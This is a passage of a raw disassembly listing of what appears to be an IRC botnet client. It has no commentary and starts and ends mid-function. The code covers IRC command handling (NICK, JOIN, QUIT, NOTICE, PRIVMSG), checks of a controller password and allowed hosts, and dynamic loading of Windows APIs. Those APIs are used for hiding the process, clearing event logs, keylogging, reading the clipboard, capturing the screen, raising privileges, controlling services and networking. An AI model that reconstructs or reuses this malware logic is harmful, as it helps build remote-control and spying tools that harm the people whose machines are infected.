loc_409463:				; CODE XREF: sub_401ACD+7A07j
		mov	eax, [ebp+arg_24]
		mov	esi, [eax]
		cmp	esi, ebx
		jz	loc_401F75
		push	esi
		call	sub_41C159
		push	eax
		call	sub_40B4F5
		pop	ecx
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_40948A
		push	offset unk_429D68
		jmp	short loc_40948F
; ---------------------------------------------------------------------------


loc_40948A:				; CODE XREF: sub_401ACD+79B4j
		push	offset unk_429D3C


loc_40948F:				; CODE XREF: sub_401ACD+79BBj
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_41C266
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4094BF
		push	ebx
		lea	eax, [ebp+var_2C4]
		push	[ebp+var_4]
		push	eax
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4094BF:				; CODE XREF: sub_401ACD+79D4j
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		add	[ebp+arg_24], 4
		inc	edi
		cmp	edi, 20h
		pop	ecx
		jb	short loc_409463
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_4094DB:				; CODE XREF: sub_401ACD+3D85j
					; sub_401ACD+3D9Cj
		cmp	[ebp+var_C], ebx
		jz	loc_409644
		push	edi
		push	[ebp+var_C]
		call	sub_41C2E0
		mov	esi, eax
		pop	ecx
		cmp	esi, ebx
		pop	ecx
		jz	loc_409644
		push	esi
		push	offset dword_42A2F0
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	esi
		push	offset unk_429D24
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_409515:				; CODE XREF: sub_401ACD+3D57j
					; sub_401ACD+3D6Ej
		push	edi
		push	offset dword_42A254
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	offset unk_429D04
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_409531:				; CODE XREF: sub_401ACD+3D29j
					; sub_401ACD+3D40j
		push	[ebp+esi+var_88]
		push	edi
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		push	edi
		push	offset unk_429CE4
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_409554:				; CODE XREF: sub_401ACD+3CFBj
					; sub_401ACD+3D12j
		push	edi
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	offset unk_429CC0
		jmp	loc_40963D
; ---------------------------------------------------------------------------


loc_409570:				; CODE XREF: sub_401ACD+3123j
					; sub_401ACD+313Aj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	edi
		push	offset unk_429CA0
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	edi
		call	sub_41C159
		add	esp, 14h


loc_4095A6:				; CODE XREF: sub_401ACD+7B23j
		push	eax
		call	dword_427080	; Sleep


loc_4095AD:				; CODE XREF: sub_401ACD+2A5Fj
		xor	eax, eax
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_4095B4:				; CODE XREF: sub_401ACD+30F5j
					; sub_401ACD+310Cj
		push	offset aQuitReconnecti ; "QUIT :reconnecting\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		pop	ecx
		lea	eax, [ebp+var_2C4]
		pop	ecx
		push	edi
		push	offset unk_429C78
		push	eax
		call	sub_41C266
		lea	eax, [ebp+var_2C4]
		push	eax
		call	sub_415D38
		push	edi
		call	sub_41C159
		add	esp, 14h
		imul	eax, 3E8h
		jmp	short loc_4095A6
; ---------------------------------------------------------------------------


loc_4095F2:				; CODE XREF: sub_401ACD+EADj
					; sub_401ACD+EC2j
		push	[ebp+esi+var_8C]
		xor	eax, eax
		cmp	[ebp+var_8F0], bl
		setnz	al
		push	eax
		lea	eax, [ebp+var_338]
		push	dword_42909C
		push	eax
		call	sub_40AE84
		add	esp, 10h
		lea	eax, [ebp+var_338]
		push	eax
		push	offset aNickS	; "NICK	%s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		lea	eax, [ebp+var_338]
		push	eax
		push	offset unk_429C54


loc_40963D:				; CODE XREF: sub_401ACD+6FCCj
					; sub_401ACD+75F1j ...
		call	sub_415DAC
		pop	ecx


loc_409643:				; CODE XREF: sub_401ACD+6BD8j
		pop	ecx


loc_409644:				; CODE XREF: sub_401ACD+63Dj
					; sub_401ACD+649j ...
		mov	eax, [ebp+arg_24]
		jmp	loc_401F78
; ---------------------------------------------------------------------------


loc_40964C:				; CODE XREF: sub_401ACD+A98j
					; sub_401ACD+AADj
		mov	esi, [ebp+esi+var_8C]
		cmp	esi, ebx
		mov	[ebp+arg_20], esi
		jz	loc_401F75
		cmp	[ebp+var_A4], ebx
		jnz	loc_401F75
		push	offset asc_42CDC4 ; "!"
		push	[ebp+var_90]
		call	sub_41CAD4
		mov	esi, eax
		push	offset word_4CB89C
		push	ebx
		inc	esi
		call	sub_41CAD4
		push	offset asc_429C50 ; "~"
		push	eax
		call	sub_41CAD4
		push	[ebp+arg_20]
		mov	edi, eax
		push	offset aCool	; "cool"
		call	sub_41CA50
		add	esp, 20h
		test	eax, eax
		jz	short loc_4096EB
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSPassAut ; "NOTICE %s :Pass auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429BD0
		jmp	loc_4023EE
; ---------------------------------------------------------------------------


loc_4096EB:				; CODE XREF: sub_401ACD+7BDAj
		mov	[ebp+arg_24], offset off_429164


loc_4096F2:				; CODE XREF: sub_401ACD+7C41j
		mov	eax, [ebp+arg_24]
		push	edi
		push	dword ptr [eax]
		call	sub_40B713
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_409752
		add	[ebp+arg_24], 4
		cmp	[ebp+arg_24], offset off_429168
		jb	short loc_4096F2
		lea	eax, [ebp+var_C4]
		push	edi
		push	eax
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSHostAut ; "NOTICE %s :Host Auth failed (%s!%s).\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 14h
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset aNoticeSYourAtt ; "NOTICE %s :Your attempt has been logged"...
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	edi
		push	esi
		push	offset unk_429B7C
		jmp	loc_4023EE
; ---------------------------------------------------------------------------


loc_409752:				; CODE XREF: sub_401ACD+7C34j
		mov	edi, [ebp+arg_18]
		xor	esi, esi


loc_409757:				; CODE XREF: sub_401ACD+7CB4j
		cmp	[ebp+arg_20], ebx
		jz	loc_401F75
		cmp	[edi], bl
		jnz	short loc_409777
		push	[ebp+arg_20]
		push	offset aCool	; "cool"
		call	sub_41CA50
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_409788


loc_409777:				; CODE XREF: sub_401ACD+7C95j
		inc	esi
		add	edi, 80h
		cmp	esi, 3
		jl	short loc_409757
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_409788:				; CODE XREF: sub_401ACD+7CA8j
		shl	esi, 7
		add	esi, [ebp+arg_18]
		lea	eax, [ebp+var_E04]
		push	7Fh
		push	eax
		push	esi
		call	sub_41BFD0
		add	esp, 0Ch
		cmp	[ebp+var_8], ebx
		jnz	short loc_4097BF
		push	ebx
		push	[ebp+var_4]
		push	offset unk_429B5C
		push	[ebp+var_88]
		push	[ebp+arg_4]
		call	sub_409869
		add	esp, 14h


loc_4097BF:				; CODE XREF: sub_401ACD+7CD6j
		lea	eax, [ebp+var_C4]
		push	eax
		push	offset unk_429B3C


loc_4097CB:				; CODE XREF: sub_401ACD+595j
					; sub_401ACD+2889j ...
		call	sub_415DAC


loc_4097D0:				; CODE XREF: sub_401ACD+1B81j
		pop	ecx


loc_4097D1:				; CODE XREF: sub_401ACD+24FDj
		pop	ecx
		jmp	loc_401F75
; ---------------------------------------------------------------------------


loc_4097D7:				; CODE XREF: sub_401ACD+20Ej
					; sub_401ACD+223j
		push	[ebp+arg_10]
		push	offset aUserhostS ; "USERHOST %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 0Ch
		push	offset aXI	; "-x+i"
		push	[ebp+arg_10]
		push	offset aModeSS_0 ; "MODE %s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		push	[ebp+arg_C]
		push	[ebp+arg_8]
		push	offset aJoinSS	; "JOIN	%s %s\r\n"
		push	[ebp+arg_4]
		call	sub_409823
		add	esp, 10h
		mov	dword_4CB894, edi
		jmp	loc_401D6A
sub_401ACD	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409823	proc near		; CODE XREF: sub_401955+3Dp
					; sub_401ACD+1CBp ...

var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= byte ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 200h
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	200h
		push	eax
		call	sub_41CB70
		add	esp, 10h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA34	; send
		leave
		retn
sub_409823	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_409869	proc near		; CODE XREF: sub_401ACD+506p
					; sub_401ACD+134Ep ...

var_400		= byte ptr -400h
var_200		= byte ptr -200h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h

		push	ebp
		mov	ebp, esp
		sub	esp, 400h
		cmp	[ebp+arg_C], 0
		push	esi
		push	edi
		mov	edi, offset aNotice ; "NOTICE"
		jnz	short loc_409884
		mov	edi, offset aPrivmsg ; "PRIVMSG"


loc_409884:				; CODE XREF: sub_409869+14j
		push	edi
		call	sub_41B9C0
		push	[ebp+arg_4]
		mov	esi, 1FAh
		sub	esi, eax
		call	sub_41B9C0
		pop	ecx
		sub	esi, eax
		pop	ecx
		lea	eax, [ebp+var_400]
		push	[ebp+arg_8]
		push	offset aS_2	; "%s"
		push	esi
		push	eax
		call	sub_41C360
		add	esp, 10h
		lea	eax, [ebp+var_400]
		push	eax
		lea	eax, [ebp+var_200]
		push	[ebp+arg_4]
		push	edi
		push	offset aSSS_0	; "%s %s :%s\r\n"
		push	eax
		call	sub_41C266
		add	esp, 14h
		lea	eax, [ebp+var_200]
		push	0
		push	eax
		call	sub_41B9C0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_200]
		push	eax
		push	[ebp+arg_0]
		call	dword_4CBA34	; send
		cmp	[ebp+arg_10], 0
		pop	edi
		pop	esi
		jz	short locret_409907
		push	7D0h
		call	dword_427080	; Sleep

locret_409907:				; CODE XREF: sub_409869+91j
		leave
		retn
sub_409869	endp


; =============== S U B	R O U T	I N E =======================================



sub_409909	proc near		; CODE XREF: sub_401221+4Bp
		push	ebx
		push	ebp
		mov	ebp, dword_4270A4
		push	esi
		push	edi
		push	offset aKernel32_dll ; "kernel32.dll"
		call	ebp	; GetModuleHandleA
		mov	esi, dword_4270C4
		mov	edi, eax
		xor	ebx, ebx
		cmp	edi, ebx
		jz	loc_409A29
		push	offset aSeterrormode ; "SetErrorMode"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	edi
		mov	dword_4CBA90, eax
		call	esi	; GetProcAddress
		push	offset aProcess32first ; "Process32First"
		push	edi
		mov	dword_4CBA04, eax
		call	esi	; GetProcAddress
		push	offset aProcess32next ;	"Process32Next"
		push	edi
		mov	dword_4CB9E8, eax
		call	esi	; GetProcAddress
		push	offset aModule32first ;	"Module32First"
		push	edi
		mov	dword_4CB8F8, eax
		call	esi	; GetProcAddress
		push	offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
		push	edi
		mov	dword_4CB8A4, eax
		call	esi	; GetProcAddress
		push	offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
		push	edi
		mov	dword_4CB8D4, eax
		call	esi	; GetProcAddress
		push	offset aGetdrivetypea ;	"GetDriveTypeA"
		push	edi
		mov	dword_4CB94C, eax
		call	esi	; GetProcAddress
		push	offset aSearchpatha ; "SearchPathA"
		push	edi
		mov	dword_4CBA44, eax
		call	esi	; GetProcAddress
		push	offset aQueryperforman ; "QueryPerformanceCounter"
		push	edi
		mov	dword_4CBAA0, eax
		call	esi	; GetProcAddress
		push	offset aQueryperform_0 ; "QueryPerformanceFrequency"
		push	edi
		mov	dword_4CB904, eax
		call	esi	; GetProcAddress
		cmp	dword_4CBA90, ebx
		mov	dword_4CB8EC, eax
		jz	short loc_409A07
		cmp	dword_4CBA04, ebx
		jz	short loc_409A07
		cmp	dword_4CB9E8, ebx
		jz	short loc_409A07
		cmp	dword_4CB8F8, ebx
		jz	short loc_409A07
		cmp	dword_4CB8D4, ebx
		jz	short loc_409A07
		cmp	dword_4CB94C, ebx
		jz	short loc_409A07
		cmp	dword_4CBA44, ebx
		jz	short loc_409A07
		cmp	dword_4CBAA0, ebx
		jz	short loc_409A07
		cmp	dword_4CB904, ebx
		jz	short loc_409A07
		cmp	eax, ebx
		jnz	short loc_409A11


loc_409A07:				; CODE XREF: sub_409909+B8j
					; sub_409909+C0j ...
		mov	dword_4CBAA4, 1


loc_409A11:				; CODE XREF: sub_409909+FCj
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_4CBA1C, eax
		jz	short loc_409A3E
		push	1
		push	ebx
		call	eax
		jmp	short loc_409A3E
; ---------------------------------------------------------------------------


loc_409A29:				; CODE XREF: sub_409909+1Dj
		call	dword_427094	; RtlGetLastWin32Error
		mov	dword_4CBAA8, eax
		mov	dword_4CBAA4, 1


loc_409A3E:				; CODE XREF: sub_409909+117j
					; sub_409909+11Ej
		push	offset aUser32_dll ; "user32.dll"
		call	dword_4270C0	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409B53
		push	offset aSendmessagea ; "SendMessageA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aFindwindowa ; "FindWindowA"
		push	edi
		mov	dword_4CBA40, eax
		call	esi	; GetProcAddress
		push	offset aIswindow ; "IsWindow"
		push	edi
		mov	dword_4CB9F0, eax
		call	esi	; GetProcAddress
		push	offset aDestroywindow ;	"DestroyWindow"
		push	edi
		mov	dword_4CB984, eax
		call	esi	; GetProcAddress
		push	offset aOpenclipboard ;	"OpenClipboard"
		push	edi
		mov	dword_4CBA94, eax
		call	esi	; GetProcAddress
		push	offset aGetclipboardda ; "GetClipboardData"
		push	edi
		mov	dword_4CB9B4, eax
		call	esi	; GetProcAddress
		push	offset aCloseclipboard ; "CloseClipboard"
		push	edi
		mov	dword_4CB9D4, eax
		call	esi	; GetProcAddress
		push	offset aExitwindowsex ;	"ExitWindowsEx"
		push	edi
		mov	dword_4CBA38, eax
		call	esi	; GetProcAddress
		cmp	dword_4CBA40, ebx
		mov	dword_4CB924, eax
		jz	short loc_409AF7
		cmp	dword_4CB9F0, ebx
		jz	short loc_409AF7
		cmp	dword_4CB984, ebx
		jz	short loc_409AF7
		cmp	dword_4CBA94, ebx
		jz	short loc_409AF7
		cmp	dword_4CB9B4, ebx
		jz	short loc_409AF7
		cmp	dword_4CB9D4, ebx
		jz	short loc_409AF7
		cmp	dword_4CBA38, ebx
		jz	short loc_409AF7
		cmp	eax, ebx
		jnz	short loc_409B01


loc_409AF7:				; CODE XREF: sub_409909+1B8j
					; sub_409909+1C0j ...
		mov	dword_4CBAAC, 1


loc_409B01:				; CODE XREF: sub_409909+1ECj
		push	offset aGetasynckeysta ; "GetAsyncKeyState"
		push	edi
		call	esi	; GetProcAddress
		push	offset aGetkeystate ; "GetKeyState"
		push	edi
		mov	dword_4CB9B0, eax
		call	esi	; GetProcAddress
		push	offset aGetwindowtexta ; "GetWindowTextA"
		push	edi
		mov	dword_4CB8B8, eax
		call	esi	; GetProcAddress
		push	offset aGetforegroundw ; "GetForegroundWindow"
		push	edi
		mov	dword_4CB980, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB9B0, ebx
		mov	dword_4CB968, eax
		jz	short loc_409B5E
		cmp	dword_4CB8B8, ebx
		jz	short loc_409B5E
		cmp	dword_4CB980, ebx
		jz	short loc_409B5E
		cmp	eax, ebx
		jnz	short loc_409B68
		jmp	short loc_409B5E
; ---------------------------------------------------------------------------


loc_409B53:				; CODE XREF: sub_409909+144j
		call	dword_427094	; RtlGetLastWin32Error
		mov	dword_4CBAB0, eax


loc_409B5E:				; CODE XREF: sub_409909+232j
					; sub_409909+23Aj ...
		mov	dword_4CBAAC, 1


loc_409B68:				; CODE XREF: sub_409909+246j
		push	offset aAdvapi32_dll ; "advapi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409D21
		push	offset aRegopenkeyexa ;	"RegOpenKeyExA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aRegcreatekeyex ; "RegCreateKeyExA"
		push	edi
		mov	dword_4CBA54, eax
		call	esi	; GetProcAddress
		push	offset aRegsetvalueexa ; "RegSetValueExA"
		push	edi
		mov	dword_4CB998, eax
		call	esi	; GetProcAddress
		push	offset aRegqueryvaluee ; "RegQueryValueExA"
		push	edi
		mov	dword_4CBA08, eax
		call	esi	; GetProcAddress
		push	offset aRegdeletevalue ; "RegDeleteValueA"
		push	edi
		mov	dword_4CB8E4, eax
		call	esi	; GetProcAddress
		push	offset aRegclosekey ; "RegCloseKey"
		push	edi
		mov	dword_4CB948, eax
		call	esi	; GetProcAddress
		push	offset aOpeneventloga ;	"OpenEventLogA"
		push	edi
		mov	dword_4CB9C0, eax
		call	esi	; GetProcAddress
		push	offset aCleareventloga ; "ClearEventLogA"
		push	edi
		mov	dword_4CB964, eax
		call	esi	; GetProcAddress
		cmp	dword_4CBA54, ebx
		mov	dword_4CB974, eax
		jz	short loc_409C11
		cmp	dword_4CB998, ebx
		jz	short loc_409C11
		cmp	dword_4CBA08, ebx
		jz	short loc_409C11
		cmp	dword_4CB8E4, ebx
		jz	short loc_409C11
		cmp	dword_4CB948, ebx
		jz	short loc_409C11
		cmp	dword_4CB9C0, ebx
		jnz	short loc_409C1B


loc_409C11:				; CODE XREF: sub_409909+2DEj
					; sub_409909+2E6j ...
		mov	dword_4CBAB4, 1


loc_409C1B:				; CODE XREF: sub_409909+306j
		push	offset aOpenprocesstok ; "OpenProcessToken"
		push	edi
		call	esi	; GetProcAddress
		push	offset aLookupprivileg ; "LookupPrivilegeValueA"
		push	edi
		mov	dword_4CB9C8, eax
		call	esi	; GetProcAddress
		push	offset aAdjusttokenpri ; "AdjustTokenPrivileges"
		push	edi
		mov	dword_4CB9A0, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB9C8, ebx
		mov	dword_4CBA50, eax
		jz	short loc_409C56
		cmp	dword_4CB9A0, ebx
		jz	short loc_409C56
		cmp	eax, ebx
		jnz	short loc_409C60


loc_409C56:				; CODE XREF: sub_409909+33Fj
					; sub_409909+347j
		mov	dword_4CBAB4, 1


loc_409C60:				; CODE XREF: sub_409909+34Bj
		push	offset aOpenscmanagera ; "OpenSCManagerA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aOpenservicea ; "OpenServiceA"
		push	edi
		mov	dword_4CB9D8, eax
		call	esi	; GetProcAddress
		push	offset aStartservicea ;	"StartServiceA"
		push	edi
		mov	dword_4CB8C0, eax
		call	esi	; GetProcAddress
		push	offset aControlservice ; "ControlService"
		push	edi
		mov	dword_4CB8C8, eax
		call	esi	; GetProcAddress
		push	offset aDeleteservice ;	"DeleteService"
		push	edi
		mov	dword_4CB92C, eax
		call	esi	; GetProcAddress
		push	offset aCloseserviceha ; "CloseServiceHandle"
		push	edi
		mov	dword_4CB930, eax
		call	esi	; GetProcAddress
		push	offset aEnumservicesst ; "EnumServicesStatusA"
		push	edi
		mov	dword_4CB8DC, eax
		call	esi	; GetProcAddress
		push	offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
		push	edi
		mov	dword_4CB9A4, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB9D8, ebx
		mov	dword_4CB8CC, eax
		jz	short loc_409D04
		cmp	dword_4CB8C0, ebx
		jz	short loc_409D04
		cmp	dword_4CB8C8, ebx
		jz	short loc_409D04
		cmp	dword_4CB92C, ebx
		jz	short loc_409D04
		cmp	dword_4CB930, ebx
		jz	short loc_409D04
		cmp	dword_4CB8DC, ebx
		jz	short loc_409D04
		cmp	dword_4CB9A4, ebx
		jz	short loc_409D04
		cmp	eax, ebx
		jnz	short loc_409D0E


loc_409D04:				; CODE XREF: sub_409909+3C5j
					; sub_409909+3CDj ...
		mov	dword_4CBAB4, 1


loc_409D0E:				; CODE XREF: sub_409909+3F9j
		push	offset aGetusernamea ; "GetUserNameA"
		push	edi
		call	esi	; GetProcAddress
		cmp	eax, ebx
		mov	dword_4CB8C4, eax
		jnz	short loc_409D36
		jmp	short loc_409D2C
; ---------------------------------------------------------------------------


loc_409D21:				; CODE XREF: sub_409909+26Aj
		call	dword_427094	; RtlGetLastWin32Error
		mov	dword_4CBAB8, eax


loc_409D2C:				; CODE XREF: sub_409909+416j
		mov	dword_4CBAB4, 1


loc_409D36:				; CODE XREF: sub_409909+414j
		push	offset aGdi32_dll ; "gdi32.dll"
		call	ebp	; GetModuleHandleA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_409E02
		push	offset aCreatedca ; "CreateDCA"
		push	edi
		call	esi	; GetProcAddress
		push	offset aCreatedibsecti ; "CreateDIBSection"
		push	edi
		mov	dword_4CB9D0, eax
		call	esi	; GetProcAddress
		push	offset aCreatecompatib ; "CreateCompatibleDC"
		push	edi
		mov	dword_4CBA28, eax
		call	esi	; GetProcAddress
		push	offset aGetdevicecaps ;	"GetDeviceCaps"
		push	edi
		mov	dword_4CBA30, eax
		call	esi	; GetProcAddress
		push	offset aGetdibcolortab ; "GetDIBColorTable"
		push	edi
		mov	dword_4CB9EC, eax
		call	esi	; GetProcAddress
		push	offset aSelectobject ; "SelectObject"
		push	edi
		mov	dword_4CB908, eax
		call	esi	; GetProcAddress
		push	offset aBitblt	; "BitBlt"
		push	edi
		mov	dword_4CB8B4, eax
		call	esi	; GetProcAddress
		push	offset aDeletedc ; "DeleteDC"
		push	edi
		mov	dword_4CBA2C, eax
		call	esi	; GetProcAddress
		push	offset aDeleteobject ; "DeleteObject"
		push	edi
		mov	dword_4CB8A0, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB9D0, ebx
		mov	dword_4CB940, eax
		jz	short loc_409E0D
		cmp	dword_4CBA28, ebx
		jz	short loc_409E0D
		cmp	dword_4CBA30, ebx
		jz	short loc_409E0D
		cmp	dword_4CB9EC, ebx
		jz	short loc_409E0D
		cmp	dword_4CB908, ebx
		jz	short loc_409E0D
		cmp	dword_4CB8B4, ebx
		jz	short loc_409E0D
		cmp	dword_4CBA2C, ebx
		jz	short loc_409E0D
		cmp	dword_4CB8A0, ebx
		jz	short loc_409E0D
		cmp	eax, ebx
		jnz	short loc_409E17
		jmp	short loc_409E0D
; ---------------------------------------------------------------------------


loc_409E02:				; CODE XREF: sub_409909+438j
		call	dword_427094	; RtlGetLastWin32Error
		mov	dword_4CBAC0, eax


loc_409E0D:				; CODE XREF: sub_409909+4B9j
					; sub_409909+4C1j ...
		mov	dword_4CBABC, 1


loc_409E17:				; CODE XREF: sub_409909+4F5j
		mov	ebp, dword_4270C0
		push	offset aWs2_32_dll ; "ws2_32.dll"
		call	ebp	; LoadLibraryA
		mov	edi, eax
		cmp	edi, ebx
		jz	loc_40A0D3
		push	offset aWsastartup ; "WSAStartup"
		push	edi
		call	esi	; GetProcAddress
		push	offset aWsasocketa ; "WSASocketA"
		push	edi
		mov	dword_4CB954, eax
		call	esi	; GetProcAddress
		push	offset aWsaasyncselect ; "WSAAsyncSelect"
		push	edi
		mov	dword_4CBA88, eax
		call	esi	; GetProcAddress
		push	offset a__wsafdisset ; "__WSAFDIsSet"
		push	edi
		mov	dword_4CB8F4, eax
		call	esi	; GetProcAddress
		push	offset aWsaioctl ; "WSAIoctl"
		push	edi
		mov	dword_4CB8D0, eax
		call	esi	; GetProcAddress
		push	offset aWsagetlasterro ; "WSAGetLastError"
		push	edi
		mov	dword_4CB990, eax
		call	esi	; GetProcAddress
		push	offset aWsacleanup ; "WSACleanup"
		push	edi
		mov	dword_4CB978, eax
		call	esi	; GetProcAddress
		push	offset aSocket	; "socket"
		push	edi
		mov	dword_4CB93C, eax
		call	esi	; GetProcAddress
		push	offset aIoctlsocket ; "ioctlsocket"
		push	edi
		mov	dword_4CBA64, eax
		call	esi	; GetProcAddress
		push	offset aConnect	; "connect"
		push	edi
		mov	dword_4CBA80, eax
		call	esi	; GetProcAddress
		push	offset aInet_ntoa ; "inet_ntoa"
		push	edi
		mov	dword_4CB98C, eax
		call	esi	; GetProcAddress
		push	offset aInet_addr ; "inet_addr"
		push	edi
		mov	dword_4CBA70, eax
		call	esi	; GetProcAddress
		push	offset aHtons	; "htons"
		push	edi
		mov	dword_4CBA24, eax
		call	esi	; GetProcAddress
		push	offset aHtonl	; "htonl"
		push	edi
		mov	dword_4CB9E4, eax
		call	esi	; GetProcAddress
		push	offset aNtohs	; "ntohs"
		push	edi
		mov	dword_4CB9E0, eax
		call	esi	; GetProcAddress
		push	offset aNtohl	; "ntohl"
		push	edi
		mov	dword_4CB914, eax
		call	esi	; GetProcAddress
		push	offset aSend	; "send"
		push	edi
		mov	dword_4CB90C, eax
		call	esi	; GetProcAddress
		push	offset aSendto	; "sendto"
		push	edi
		mov	dword_4CBA34, eax
		call	esi	; GetProcAddress
		push	offset aRecv	; "recv"
		push	edi
		mov	dword_4CBA48, eax
		call	esi	; GetProcAddress
		push	offset aRecvfrom ; "recvfrom"
		push	edi
		mov	dword_4CB9FC, eax
		call	esi	; GetProcAddress
		mov	dword_4CB9BC, eax
		push	offset aBind	; "bind"
		push	edi
		call	esi	; GetProcAddress
		push	offset aSelect	; "select"
		push	edi
		mov	dword_4CBA10, eax
		call	esi	; GetProcAddress
		push	offset aListen	; "listen"
		push	edi
		mov	dword_4CB9CC, eax
		call	esi	; GetProcAddress
		push	offset aAccept	; "accept"
		push	edi
		mov	dword_4CBA0C, eax
		call	esi	; GetProcAddress
		push	offset aSetsockopt ; "setsockopt"
		push	edi
		mov	dword_4CBA78, eax
		call	esi	; GetProcAddress
		push	offset aGetsockname ; "getsockname"
		push	edi
		mov	dword_4CB9C4, eax
		call	esi	; GetProcAddress
		push	offset aGethostname ; "gethostname"
		push	edi
		mov	dword_4CB988, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyname ;	"gethostbyname"
		push	edi
		mov	dword_4CB9F8, eax
		call	esi	; GetProcAddress
		push	offset aGethostbyaddr ;	"gethostbyaddr"
		push	edi
		mov	dword_4CBA68, eax
		call	esi	; GetProcAddress
		push	offset aGetpeername ; "getpeername"
		push	edi
		mov	dword_4CB99C, eax
		call	esi	; GetProcAddress
		push	offset aClosesocket ; "closesocket"
		push	edi
		mov	dword_4CB938, eax
		call	esi	; GetProcAddress
		cmp	dword_4CB954, ebx
		mov	dword_4CBA7C, eax
		jz	loc_40A0DE
		cmp	dword_4CBA88, ebx
		jz	loc_40A0DE
		cmp	dword_4CB8F4, ebx
		jz	loc_40A0DE
		cmp	dword_4CB990, ebx
		jz	loc_40A0DE
		cmp	dword_4CB978, ebx
		jz	loc_40A0DE
		cmp	dword_4CB93C, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA64, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA80, ebx
		jz	loc_40A0DE
		cmp	dword_4CB98C, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA70, ebx
		jz	loc_40A0DE
		cmp	dword_4CBA24, ebx
		jz	loc_40A0DE
		cmp	dword_4CB9E4, ebx
		jz	loc_40A0DE
		cmp	dword_4CB9E0, ebx
		jz	loc_40A0DE
		cmp	dword_4CB914, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA34, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA48, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9FC, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9BC, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA10, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9CC, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA0C, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA78, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9C4, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB988, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB9F8, ebx
		jz	short loc_40A0DE
		cmp	dword_4CBA68, ebx
		jz	short loc_40A0DE
		cmp	dword_4CB99C, ebx
